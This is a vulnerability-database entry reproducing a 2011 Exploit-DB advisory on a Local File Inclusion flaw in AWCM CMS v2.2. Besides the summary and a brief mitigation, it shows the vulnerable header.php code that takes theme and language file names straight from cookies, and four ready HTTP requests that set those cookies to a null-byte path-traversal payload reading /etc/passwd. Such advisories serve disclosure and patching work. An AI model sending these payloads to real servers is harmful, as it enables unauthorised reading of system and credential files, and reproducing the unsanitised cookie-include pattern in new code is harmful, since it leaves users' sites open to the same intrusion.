awcm v2.2 final Local File Inclusion

vendor:

AWCM CMS

by:

Cucura, Ste@lth (Bl@ck_Falc0n)

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: AWCM CMS

Affected Version From: v2.2

Affected Version To: v2.2

Patch Exists: NO

Related CWE: N/A

CPE: awcm:awcm_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

awcm v2.2 final Local File Inclusion

The AWCM v2.2 CMS is vulnerable to Local File Inclusion. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'awcm_theme' and 'awcm_lang' cookie parameters in the 'header.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request with malicious cookie values to the vulnerable script. This can allow the attacker to read arbitrary files from the server.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability. All user-supplied input should be validated and filtered before being used in the application.

Source

Exploit-DB raw data:

[+]Exploit Title: [awcm v2.2 final Local File Inclusion]
[+]Date: [26-01-2011]
[+]Author: Cucura , Ste@lth (Bl@ck_Falc0n)
[+]Software Link: [www.awcm-cms.com]
[+]Version: [v2.2]
[+]CVE : - 
[+]Contact: Blackcucura[at]Gmail.com
http://sourceforge.net/projects/awcm/files/
-----------------------------------------------------------------

Vuln C0de  in header.php

if(isset($_COOKIE['awcm_theme'])) {
	$theme_file = $_COOKIE['awcm_theme'];
} else {
	$theme_file = $mysql_maininfo_row['defult_theme'];
}

if(isset($_COOKIE['awcm_lang'])) {
	$lang_file = $_COOKIE['awcm_lang'];
} else {
	$lang_file = $mysql_maininfo_row['defult_language'];
}


-----------------------------------------------------------------


[+]Exploit: http://target/awcm/index.php

	GET http://192.168.43.173/awcm/index.php HTTP/1.0
	Cookie: awcm_theme=../../../../etc/passwd%00; 


[+]Exploit: http://target/awcm/index.php

	GET http://192.168.43.173/awcm/index.php HTTP/1.0
	Cookie: awcm_lang=../../../../etc/passwd%00; 


[+]Exploit: http://target/awcm/header.php

	GET http://192.168.43.173/awcm/header.php HTTP/1.0
	Cookie: awcm_lang=../../../../etc/passwd%00; 


[+]Exploit: http://target/awcm/header.php

	GET http://192.168.43.173/awcm/header.php HTTP/1.0
	Cookie: awcm_theme=../../../../etc/passwd%00; 


-----------------------------------------------------------------
Greetz : SpeeDr00t, ReDr0se, InsideJ , eidisky Bl@ck Falc0n Team